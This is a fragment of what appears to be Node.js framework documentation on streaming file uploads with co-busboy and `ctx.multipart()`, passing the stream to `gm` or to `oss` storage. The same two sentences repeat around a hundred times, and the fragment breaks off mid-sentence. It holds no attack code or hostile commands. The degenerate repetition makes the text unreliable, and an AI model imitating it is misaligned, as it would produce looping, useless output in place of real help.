`oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use 